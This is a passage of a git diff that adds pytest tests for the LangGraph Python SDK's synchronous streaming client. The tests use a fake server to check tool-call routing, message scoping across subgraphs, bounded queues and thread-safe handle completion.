run.start), then the main thread opens + # the shared stream. Three scripts are needed: + # 1. lifecycle watcher + # 2. shared stream initial (fail_after=2 to trigger reconnect) + # 3. shared stream reconnect (carries the message events) + fake.script_sequence( + [ + SyncStreamScript( + events=[ + lifecycle_started_event(seq=0), + lifecycle_completed_event(seq=7), + ] + ), + SyncStreamScript( + events=[ + lifecycle_started_event(seq=0), + tasks_start_event( + seq=1, namespace=["worker:abc"], task_id="t-child" + ), + ], + fail_after=2, + ), + SyncStreamScript( + events=[ + message_start_event( + seq=2, + namespace=["worker:abc"], + message_id="child-msg", + run_id="child-run", + ), + message_text_delta_event( + seq=3, namespace=["worker:abc"], text="child" + ), + message_text_finish_event( + seq=4, namespace=["worker:abc"], text="child" + ), + message_finish_event(seq=5, namespace=["worker:abc"]), + tasks_result_event( + seq=6, namespace=[], task_id="abc", name="worker" + ), + lifecycle_completed_event(seq=7), + ] + ), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + handles = list(thread.subgraphs) + child = handles[0] + chunks = list(child.messages) + + assert child.path == ("worker:abc",) + assert [str(chunk.text) for chunk in chunks] == ["child"] + assert fake.stream_request_bodies[-1]["since"] >= 1 + + +# --------------------------------------------------------------------------- +# Task 10.7 — comprehensive sync tool_calls projection tests +# --------------------------------------------------------------------------- + + +def test_sync_tool_calls_multiple_concurrent_calls_route_by_id(): + """Two interleaved tool calls each resolve to the correct output.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-a", tool_name="alpha"), + tool_output_delta_event(seq=2, tool_call_id="call-a", delta="a1"), + tool_finished_event(seq=3, tool_call_id="call-a", output="A"), + tool_started_event(seq=4, tool_call_id="call-b", tool_name="beta"), + tool_output_delta_event(seq=5, tool_call_id="call-b", delta="b1"), + tool_finished_event(seq=6, tool_call_id="call-b", output="B"), + lifecycle_completed_event(seq=7), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + calls = list(thread.tool_calls) + + by_id = {call.tool_call_id: call for call in calls} + assert set(by_id) == {"call-a", "call-b"} + assert list(by_id["call-a"].deltas) == ["a1"] + assert list(by_id["call-b"].deltas) == ["b1"] + assert by_id["call-a"].output == "A" + assert by_id["call-b"].output == "B" + + +def test_sync_tool_calls_ignores_nested_namespace_for_root_projection(): + """Root tool_calls projection must not yield handles from child namespaces.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, namespace=["child:1"], tool_call_id="nested"), + tool_finished_event(seq=2, namespace=["child:1"], tool_call_id="nested"), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + calls = list(thread.tool_calls) + + assert calls == [] + + +def test_sync_tool_calls_error_event_fails_output(): + """A `tool-error` event fails the handle's output property.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + tool_output_delta_event(seq=2, tool_call_id="call-1", delta="before"), + tool_error_event(seq=3, tool_call_id="call-1", message="boom"), + lifecycle_completed_event(seq=4), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + calls = list(thread.tool_calls) + + assert len(calls) == 1 + assert list(calls[0].deltas) == ["before"] + with pytest.raises(RuntimeError, match="boom"): + _ = calls[0].output + + +# --------------------------------------------------------------------------- +# Task 10.10 — run-error propagates to active tool-call handle +# --------------------------------------------------------------------------- + + +def test_sync_tool_calls_run_error_fails_active_handle(): + """A lifecycle errored event propagates its message to the active handle.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + tool_output_delta_event(seq=2, tool_call_id="call-1", delta="partial"), + lifecycle_errored_event(seq=3, error="run failed"), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + calls = list(thread.tool_calls) + + assert len(calls) == 1 + with pytest.raises(RuntimeError, match="Run errored: run failed"): + _ = calls[0].output + + +# --------------------------------------------------------------------------- +# Task 10.9 — _drain_messages_inbox must pre-dispatch before yielding +# --------------------------------------------------------------------------- + + +def test_sync_drain_messages_inbox_pre_dispatches_before_yield(): + """When draining the root inbox, str(message.text) must work immediately on yield.""" + fake = SyncFakeServer() + fake.script([lifecycle_completed_event(seq=10)]) + fake.set_state({}) + collected_texts: list[str] = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # Activate the root inbox and populate it directly (simulating what + # a sync _SubgraphsProjection would do). + inbox = thread._activate_root_messages_inbox() + inbox.put( + cast( + Event, + message_start_event(seq=1, message_id="msg-x"), + ) + ) + inbox.put( + cast( + Event, + message_text_delta_event(seq=2, text="hello", message_id="msg-x"), + ) + ) + inbox.put( + cast( + Event, + message_text_finish_event(seq=3, text="hello", message_id="msg-x"), + ) + ) + inbox.put(cast(Event, message_finish_event(seq=4, message_id="msg-x"))) + inbox.put(None) # EOF sentinel + + # Read text immediately inside the for loop — this requires pre-dispatch. + for stream in thread.messages: + collected_texts.append(str(stream.text)) + + assert collected_texts == ["hello"] + + +# --------------------------------------------------------------------------- +# Fix A — remove blocking 1s wait in tool_calls iterator finally +# --------------------------------------------------------------------------- + + +def test_sync_tool_calls_explicit_close_does_not_block_1s(): + """Closing the tool_calls iterator must return in <200ms even without a terminal event. + + The prior finally block called `run_done.result(timeout=1.0)` unconditionally, + causing a mandatory 1-second stall whenever the caller breaks out of the + iterator before a lifecycle terminal event arrives. + """ + fake = SyncFakeServer() + # Script has a started lifecycle and one tool, but NO terminal lifecycle event. + # If the blocking wait is present, the iterator's finally will stall for 1s. + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + ] + ) + import time + from collections.abc import Generator + from typing import cast + + from langgraph_sdk._sync.stream import SyncToolCallHandle + + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + gen = cast( + Generator[SyncToolCallHandle, None, None], + thread.tool_calls._tool_calls_iter(), + ) + _handle = next(gen) # receive the one tool-started handle + start = time.monotonic() + # Explicitly close the generator — must not stall 1s. + gen.close() + elapsed = time.monotonic() - start + + assert elapsed < 0.2, f"tool_calls close() took {elapsed:.3f}s (expected <0.2s)" + + +# --------------------------------------------------------------------------- +# Fix B — drop len(active)==1 silent message routing fallback +# --------------------------------------------------------------------------- + + +def test_sync_messages_orphan_delta_without_matching_key_is_dropped(): + """A delta whose message_id doesn't match any active stream must be dropped. + + The old code fell back to routing the event to the only active stream when + `len(active) == 1`, causing orphan/mismatched deltas to silently corrupt + an unrelated stream's content. + """ + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-A"), + # Delta with a mismatched message_id — must be dropped, not routed to msg-A. + message_text_delta_event(seq=2, text="orphan", message_id="msg-UNKNOWN"), + message_text_delta_event(seq=3, text="real", message_id="msg-A"), + message_finish_event(seq=4, message_id="msg-A"), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + streams = list(thread.messages) + + assert len(streams) == 1 + # Only the correctly-keyed delta "real" must appear; "orphan" must be dropped. + assert str(streams[0].text) == "real" + + +# --------------------------------------------------------------------------- +# Fix C — bound SyncToolCallHandle._deltas via max_queue_size +# --------------------------------------------------------------------------- + + +def test_sync_tool_call_handle_deltas_queue_is_bounded(): + """SyncToolCallHandle._deltas must be a bounded queue. + + Unbounded queues allow producers to enqueue indefinitely, causing memory + growth when consumers are slow. + """ + from langgraph_sdk._sync.stream import SyncToolCallHandle + + handle_default = SyncToolCallHandle(tool_call_id="tc1", name="foo") + assert handle_default._deltas.maxsize > 0, ( + "default maxsize must be positive (bounded)" + ) + + handle_custom = SyncToolCallHandle(tool_call_id="tc2", name="bar", max_queue_size=8) + assert handle_custom._deltas.maxsize == 8 + + +# --------------------------------------------------------------------------- +# Fix D — enforce single consumer on SyncToolCallHandle.deltas +# --------------------------------------------------------------------------- + + +def test_sync_tool_call_handle_deltas_single_consumer_guard(): + """Accessing `handle.deltas` a second time must raise immediately. + + `_deltas` is a single-consumer queue; fanning out to multiple consumers + would cause each consumer to miss events already consumed by the other. + The property must raise before returning the iterator so the caller + sees the error even without iterating. + """ + from langgraph_sdk._sync.stream import SyncToolCallHandle + + handle = SyncToolCallHandle(tool_call_id="tc1", name="foo") + + # First access: fine — returns the iterator. + _iter_1 = handle.deltas + + # Second access: must raise immediately (before any iteration). + with pytest.raises(RuntimeError, match="single consumer"): + _ = handle.deltas + + +def test_sync_messages_subscription_pre_dispatches_before_yield(): + """Over a live subscription, str(stream.text) must work immediately on yield.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1"), + message_text_delta_event(seq=2, text="hello", message_id="msg-1"), + message_text_finish_event(seq=3, text="hello", message_id="msg-1"), + message_finish_event(seq=4, message_id="msg-1"), + lifecycle_completed_event(seq=5), + ] + ) + fake.set_state({}) + collected: list[str] = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + for stream in thread.messages: + collected.append(str(stream.text)) + assert collected == ["hello"] + + +def test_sync_tool_calls_subscription_resolves_output_before_yield(): + """Over a live subscription, call.output is resolved when the handle is yielded.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + tool_finished_event(seq=2, tool_call_id="call-1", output={"ok": True}), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({}) + outputs: list[Any] = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + for call in thread.tool_calls: + outputs.append(call.output) # resolved (blocking) on yield + assert outputs == [{"ok": True}] + + +# --------------------------------------------------------------------------- +# Regression: interleaved-concurrent tool calls must BOTH surface +# --------------------------------------------------------------------------- + + +def test_sync_tool_calls_interleaved_concurrent_calls_both_surface(): + """Two tool calls whose events interleave must BOTH be yielded (regression: + the pre-decoder read-ahead silently dropped the second concurrent call).""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-a", tool_name="search"), + tool_started_event(seq=2, tool_call_id="call-b", tool_name="lookup"), + tool_finished_event(seq=3, tool_call_id="call-a", output={"a": 1}), + tool_finished_event(seq=4, tool_call_id="call-b", output={"b": 2}), + lifecycle_completed_event(seq=5), + ] + ) + fake.set_state({}) + seen = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + for call in thread.tool_calls: + seen.append(call.tool_call_id) + assert sorted(seen) == ["call-a", "call-b"] diff --git a/libs/sdk-py/tests/streaming/test_sync_scoped_handles.py b/libs/sdk-py/tests/streaming/test_sync_scoped_handles.py new file mode 100644 index 0000000..198ee2e --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_scoped_handles.py @@ -0,0 +1,760 @@ +"""Sync mirror of test_scoped_handles.py for SyncScopedStreamHandle.""" + +from __future__ import annotations + +import threading +from concurrent.futures import ThreadPoolExecutor, wait + +import httpx + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.stream import SyncScopedStreamHandle +from langgraph_sdk._sync.threads import SyncThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, + tasks_result_event, + tasks_start_event, + tool_finished_event, + tool_output_delta_event, + tool_started_event, +) +from streaming._sync_fake_server import SyncFakeServer + +# --------------------------------------------------------------------------- +# Task 11.1: _finish idempotency — double-finish must not double-close inboxes +# --------------------------------------------------------------------------- + + +def test_sync_scoped_handle_finish_is_idempotent(): + """Calling _finish twice must not enqueue a second sentinel on each inbox.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:abc",), + graph_name="worker", + trigger_call_id="abc", + ) + # Mark all three inboxes so _close_inboxes sends sentinels to each. + handle._mark_iterated("messages") + handle._mark_iterated("tools") + handle._mark_iterated("tasks") + handle._finish("completed") + handle._finish("completed") # second call must be a no-op + + # Each inbox should have exactly one None sentinel from the first _finish. + assert handle._messages_inbox.qsize() == 1 + assert handle._tools_inbox.qsize() == 1 + assert handle._tasks_inbox.qsize() == 1 + assert handle._messages_inbox.get_nowait() is None + assert handle._tools_inbox.get_nowait() is None + assert handle._tasks_inbox.get_nowait() is None + + +def test_sync_scoped_handle_finish_concurrent_only_one_wins(): + """Concurrent _finish calls from two threads: only the first must close inboxes.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:abc",), + graph_name="worker", + trigger_call_id="abc", + ) + # Mark all three inboxes so _close_inboxes sends sentinels to each. + handle._mark_iterated("messages") + handle._mark_iterated("tools") + handle._mark_iterated("tasks") + barrier = threading.Barrier(2) + errors: list[Exception] = [] + + def _call_finish(status: str) -> None: + try: + barrier.wait() + handle._finish(status) # ty: ignore[invalid-argument-type] + except Exception as exc: + errors.append(exc) + + t1 = threading.Thread(target=_call_finish, args=("completed",)) + t2 = threading.Thread(target=_call_finish, args=("failed",)) + t1.start() + t2.start() + t1.join() + t2.join() + + assert not errors + # Each inbox must have exactly one None sentinel regardless of which thread won. + assert handle._messages_inbox.qsize() == 1 + assert handle._tools_inbox.qsize() == 1 + assert handle._tasks_inbox.qsize() == 1 + assert handle.status in ("completed", "failed") + + +# --------------------------------------------------------------------------- +# Task 11.2: subgraphs yields handle with correct metadata and completion status +# --------------------------------------------------------------------------- + + +def test_sync_subgraphs_yields_handle_and_completes_status(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_result_event(seq=2, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + handles = list(thread.subgraphs) + + assert len(handles) == 1 + handle = handles[0] + assert handle.path == ("worker:abc",) + assert handle.namespace == ["worker:abc"] + assert handle.graph_name == "worker" + assert handle.trigger_call_id == "abc" + assert handle.status == "completed" + assert handle.error is None + + +def test_sync_subgraphs_failed_and_interrupted_statuses(): + failed_fake = SyncFakeServer() + failed_fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_result_event( + seq=2, namespace=[], task_id="abc", name="worker", error="boom" + ), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=failed_fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [failed_handle] = list(thread.subgraphs) + + interrupted_fake = SyncFakeServer() + interrupted_fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:def"], task_id="t-child"), + tasks_result_event( + seq=2, + namespace=[], + task_id="def", + name="worker", + interrupts=[{"value": "pause"}], + ), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client( + transport=interrupted_fake.transport, base_url="http://test" + ) as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [interrupted_handle] = list(thread.subgraphs) + + assert failed_handle.status == "failed" + assert failed_handle.error == "boom" + assert interrupted_handle.status == "interrupted" + assert interrupted_handle.error is None + + +# --------------------------------------------------------------------------- +# Task 11.3: grandchild routing via _route_sibling_inboxes_to_grandchildren +# --------------------------------------------------------------------------- + + +def test_sync_subgraph_handles_are_recursive_for_grandchildren(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_start_event( + seq=2, + namespace=["worker:abc", "tool:def"], + task_id="t-grandchild", + ), + tasks_result_event( + seq=3, namespace=["worker:abc"], task_id="def", name="tool" + ), + tasks_result_event(seq=4, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [child] = list(thread.subgraphs) + [grandchild] = list(child.subgraphs) + + assert child.path == ("worker:abc",) + assert grandchild.path == ("worker:abc", "tool:def") + assert grandchild.graph_name == "tool" + assert grandchild.trigger_call_id == "def" + assert grandchild.status == "completed" + + +def test_sync_subgraph_messages_are_scoped_to_child_namespace(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + message_start_event( + seq=2, + namespace=["worker:abc"], + message_id="msg-child", + run_id="run-child", + ), + message_text_delta_event(seq=3, namespace=["worker:abc"], text="child"), + message_text_finish_event(seq=4, namespace=["worker:abc"], text="child"), + message_finish_event(seq=5, namespace=["worker:abc"]), + tasks_result_event(seq=6, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=7), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [handle] = list(thread.subgraphs) + child_messages = list(handle.messages) + root_messages = list(thread.messages) + + assert [m.message_id for m in child_messages] == ["msg-child"] + assert [str(m.text) for m in child_messages] == ["child"] + assert root_messages == [] + + +def test_sync_subgraph_tool_calls_are_scoped_to_child_namespace(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tool_started_event( + seq=2, + namespace=["worker:abc"], + tool_call_id="call-child", + tool_name="search", + ), + tool_output_delta_event( + seq=3, + namespace=["worker:abc"], + tool_call_id="call-child", + delta="child-delta", + ), + tool_finished_event( + seq=4, + namespace=["worker:abc"], + tool_call_id="call-child", + output={"ok": True}, + ), + tasks_result_event(seq=5, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=6), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [handle] = list(thread.subgraphs) + child_calls = list(handle.tool_calls) + root_calls = list(thread.tool_calls) + + assert [call.tool_call_id for call in child_calls] == ["call-child"] + assert list(child_calls[0].deltas) == ["child-delta"] + assert child_calls[0].output == {"ok": True} + assert root_calls == [] + + +# --------------------------------------------------------------------------- +# Task 11.4: root/child cross-talk regression +# --------------------------------------------------------------------------- + + +def test_sync_root_and_child_projections_do_not_cross_talk(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + message_start_event(seq=2, message_id="root-msg", run_id="root-run"), + message_text_delta_event(seq=3, text="root"), + message_text_finish_event(seq=4, text="root"), + message_finish_event(seq=5), + message_start_event( + seq=6, + namespace=["worker:abc"], + message_id="child-msg", + run_id="child-run", + ), + message_text_delta_event(seq=7, namespace=["worker:abc"], text="child"), + message_text_finish_event(seq=8, namespace=["worker:abc"], text="child"), + message_finish_event(seq=9, namespace=["worker:abc"]), + tasks_result_event(seq=10, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=11), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [handle] = list(thread.subgraphs) + root_messages = list(thread.messages) + child_messages = list(handle.messages) + + assert [m.message_id for m in root_messages] == ["root-msg"] + assert [str(m.text) for m in root_messages] == ["root"] + assert [m.message_id for m in child_messages] == ["child-msg"] + assert [str(m.text) for m in child_messages] == ["child"] + + +def test_sync_subagents_aliases_subgraphs(): + fake = SyncFakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + assert thread.subagents is thread.subgraphs + thread.run.start(input={}) + + +# --------------------------------------------------------------------------- +# Fix A: sibling routing dispatches at push time, preserves order, fans out +# --------------------------------------------------------------------------- + + +def test_sync_scoped_handle_has_descendant_handles_dict(): + """SyncScopedStreamHandle must expose _descendant_handles so push-time + fan-out can be registered without drain-and-replay.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:abc",), + graph_name="worker", + trigger_call_id="abc", + ) + # Must exist and be empty at construction. + assert hasattr(handle, "_descendant_handles") + assert isinstance(handle._descendant_handles, dict) + assert len(handle._descendant_handles) == 0 + + +def test_sync_register_descendant_forwards_buffered_events_in_order(): + """_register_descendant must drain already-buffered events whose namespace + matches the new grandchild, push them into the grandchild, and preserve + the original arrival order in the parent inbox.""" + from langchain_protocol import Event + + parent = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:abc",), + graph_name="worker", + trigger_call_id="abc", + ) + child_path = ("worker:abc", "tool:gc1") + grandchild = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=child_path, + graph_name="tool", + trigger_call_id="gc1", + ) + # Put two grandchild-scoped events and one parent-scoped event into parent inbox. + evt_gc1: Event = message_start_event( + seq=1, namespace=list(child_path), message_id="m1", run_id="r1" + ) # ty: ignore[invalid-assignment] + evt_gc2: Event = message_start_event( + seq=2, namespace=list(child_path), message_id="m2", run_id="r2" + ) # ty: ignore[invalid-assignment] + evt_parent: Event = message_start_event( + seq=3, namespace=list(parent.path), message_id="m3", run_id="r3" + ) # ty: ignore[invalid-assignment] + parent._messages_inbox.put_nowait(evt_gc1) + parent._messages_inbox.put_nowait(evt_parent) + parent._messages_inbox.put_nowait(evt_gc2) + + parent._register_descendant(grandchild) + + # Grandchild inbox must have exactly the two grandchild events. + assert grandchild._messages_inbox.qsize() == 2 + first = grandchild._messages_inbox.get_nowait() + second = grandchild._messages_inbox.get_nowait() + assert isinstance(first, dict) and isinstance(second, dict) + assert (first.get("params") or {}).get("data", {}).get("id") == "m1" + assert (second.get("params") or {}).get("data", {}).get("id") == "m2" + + # Parent inbox must still contain all 3 events in original order. + assert parent._messages_inbox.qsize() == 3 + items = [parent._messages_inbox.get_nowait() for _ in range(3)] + ids = [ + (i.get("params") or {}).get("data", {}).get("id") + if isinstance(i, dict) + else None + for i in items + ] + assert ids == ["m1", "m3", "m2"] + + +def test_sync_grandchild_sibling_routing_preserves_event_order(): + """Events enqueued in a child handle's _messages_inbox before a grandchild + is discovered via child.subgraphs must be delivered in arrival order.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # Grandchild messages arrive *before* grandchild tasks-start. + message_start_event( + seq=2, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E1", + run_id="r1", + ), + message_text_delta_event( + seq=3, namespace=["worker:abc", "tool:gc1"], text="E1" + ), + message_text_finish_event( + seq=4, namespace=["worker:abc", "tool:gc1"], text="E1" + ), + message_finish_event(seq=5, namespace=["worker:abc", "tool:gc1"]), + message_start_event( + seq=6, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E2", + run_id="r2", + ), + message_text_delta_event( + seq=7, namespace=["worker:abc", "tool:gc1"], text="E2" + ), + message_text_finish_event( + seq=8, namespace=["worker:abc", "tool:gc1"], text="E2" + ), + message_finish_event(seq=9, namespace=["worker:abc", "tool:gc1"]), + message_start_event( + seq=10, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E3", + run_id="r3", + ), + message_text_delta_event( + seq=11, namespace=["worker:abc", "tool:gc1"], text="E3" + ), + message_text_finish_event( + seq=12, namespace=["worker:abc", "tool:gc1"], text="E3" + ), + message_finish_event(seq=13, namespace=["worker:abc", "tool:gc1"]), + # Grandchild tasks-start arrives *after* its messages. + tasks_start_event( + seq=14, + namespace=["worker:abc", "tool:gc1"], + task_id="t-grandchild", + ), + tasks_result_event( + seq=15, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event(seq=16, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=17), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [child] = list(thread.subgraphs) + [grandchild] = list(child.subgraphs) + gc_messages = list(grandchild.messages) + + assert [m.message_id for m in gc_messages] == ["msg-E1", "msg-E2", "msg-E3"] + texts = [str(m.text) for m in gc_messages] + assert texts == ["E1", "E2", "E3"] + + +def test_sync_grandchild_events_dispatched_to_correct_sibling(): + """When two sibling grandchildren exist, messages scoped to one grandchild + must not bleed into the other grandchild's inbox.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_start_event( + seq=2, namespace=["worker:abc", "tool:gc1"], task_id="t-gc1" + ), + tasks_start_event( + seq=3, namespace=["worker:abc", "tool:gc2"], task_id="t-gc2" + ), + message_start_event( + seq=4, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-gc1", + run_id="ra", + ), + message_text_delta_event( + seq=5, namespace=["worker:abc", "tool:gc1"], text="GC1" + ), + message_text_finish_event( + seq=6, namespace=["worker:abc", "tool:gc1"], text="GC1" + ), + message_finish_event(seq=7, namespace=["worker:abc", "tool:gc1"]), + message_start_event( + seq=8, + namespace=["worker:abc", "tool:gc2"], + message_id="msg-gc2", + run_id="rb", + ), + message_text_delta_event( + seq=9, namespace=["worker:abc", "tool:gc2"], text="GC2" + ), + message_text_finish_event( + seq=10, namespace=["worker:abc", "tool:gc2"], text="GC2" + ), + message_finish_event(seq=11, namespace=["worker:abc", "tool:gc2"]), + tasks_result_event( + seq=12, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event( + seq=13, namespace=["worker:abc"], task_id="gc2", name="tool" + ), + tasks_result_event(seq=14, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=15), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [child] = list(thread.subgraphs) + grandchildren = list(child.subgraphs) + by_path = {h.path: h for h in grandchildren} + gc1_messages = list(by_path[("worker:abc", "tool:gc1")].messages) + gc2_messages = list(by_path[("worker:abc", "tool:gc2")].messages) + + assert [m.message_id for m in gc1_messages] == ["msg-gc1"] + assert [m.message_id for m in gc2_messages] == ["msg-gc2"] + + +# --------------------------------------------------------------------------- +# Task 11.5: _finish thread-safe status transition via threading.Lock +# --------------------------------------------------------------------------- + + +def _finish_one( + idx: int, + handle: SyncScopedStreamHandle, + barrier: threading.Barrier, + errors: list[Exception], + statuses: list[str], +) -> None: + try: + barrier.wait() + status = statuses[idx % len(statuses)] + handle._finish(status) # ty: ignore[invalid-argument-type] + except Exception as exc: + errors.append(exc) + + +def test_sync_scoped_handle_finish_thread_safe_with_20_concurrent_calls(): + """20 concurrent _finish calls must yield exactly one terminal status and one + sentinel per inbox (deterministic even under high contention). + """ + n_workers = 20 + statuses = ["completed", "failed", "interrupted"] + + for _ in range(50): # repeat to increase chance of catching races + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:abc",), + graph_name="worker", + trigger_call_id="abc", + ) + # Mark all inboxes so _close_inboxes sends sentinels to each. + handle._mark_iterated("messages") + handle._mark_iterated("tools") + handle._mark_iterated("tasks") + barrier = threading.Barrier(n_workers) + errors: list[Exception] = [] + + with ThreadPoolExecutor(max_workers=n_workers) as pool: + futures = [ + pool.submit(_finish_one, i, handle, barrier, errors, statuses) + for i in range(n_workers) + ] + wait(futures) + + assert not 